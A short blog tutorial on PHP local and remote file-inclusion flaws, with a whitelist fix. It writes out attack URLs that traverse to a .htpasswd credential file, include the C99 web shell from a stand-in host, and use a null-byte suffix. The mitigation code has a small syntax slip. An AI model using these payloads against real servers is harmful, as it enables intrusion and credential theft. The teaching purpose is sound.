Today, we will explore the include exploit with PHP. We will see how it allows accessing files on the web server and how it allows executing distant scripts. Finally, we’ll see how it is possible for developers to get rid of this problem.
What is the include exploit?#
In PHP, there is a function that can be used to include an entire page to the actual one. It is surprisingly named “include”. Wrongly used, it can be really harmful because it allows external code execution which can result in a lot of unpleasant things such as an attacker getting some private files on the server.
How does it work?#
Let’s say we have a website where all the content is loaded through the file index.php. This file receives as a parameter the name of the page we want to load thanks to a GET variable. We could, for example, have the following URL to access a list of blog articles: www.mywebsite.com/index.php?page=article.php
.
In our index.php, we will have a call to the method include (more explanations about it here) that will be done without any check on the variable page. The file articles.php will be in the same directory as index.php.
include($_GET['page']);
This is where the problem occurs. The developer decided to put the real file name in the variable and since there are no checks done, it is possible to access any file the webserver has access to or any file on the internet. For example, if there is a .htpasswd
in /var/security/.htpasswd
, we just have to load the page www.mywebsite.com/index.php?page=../security/.htpasswd
.
The second thing that could be done is to call some scripts on the internet. An attacker could for example load a shell (like the famous C99) on the server and do whatever he wants. He would just have to call the page www.mywebsite.com/index.php?page=http://pirate.com/c99.php
and c99.php will be executed.
How to prevent that?#
There is of course a way to fix that, but let’s see a bad way to do so before seeing it.
How to badly prevent that?#
If you thought “I might just put some of the path hard coded on the include and combine it with the GET variable”, you are wrong. Implementing this solution could be something like include('/pages/' . $_GET['page'] '.php');
.
This is effective against distant code inclusion but that’s pretty all. It is still possible to access any file on the server with ease. First, we can get rid of the limitation on the pages directory simply by using ..
to get to the parent directory. Then, the .php
is useless as well. Since PHP is executed with the C language, adding %00
allows to put a null byte at the end of the string; which will result in having the .php
not processed. So, if we want to access our previous .htpasswd
file, we could just use the following path: ../../security/.htpasswd%00
.
An example of a good fix#
One of the possibilities to prevent this exploit is to create an array where we match a key and the path of the file. It could be something like that:
$coresp = array(
'home' => 'home.php',
'comments' => 'comments.php'
);
$to_include = isset($_GET['page']) && array_key_exists($_GET['page'], $coresp) ? $coresp[$_GET['page']] : 'home.php';
include($to_include);
In this example, we will give the keys as GET argument. For example, www.mywebsite.com/index.php?page=home
to access the home page. Then, we check if the key exists in our array. If it does, we take the value associated with the key and if it does not, we simply load the home page. Since the value given in the GET variable is never given to the include function, we are safe.
Configure PHP to limit the risks#
Finally, we can change the value of the variable allow_url_include
in the PHP configuration. As the name says, it will prevent anyone to load distant content using the include function. However, this is not enough since it does not prevent to access local files.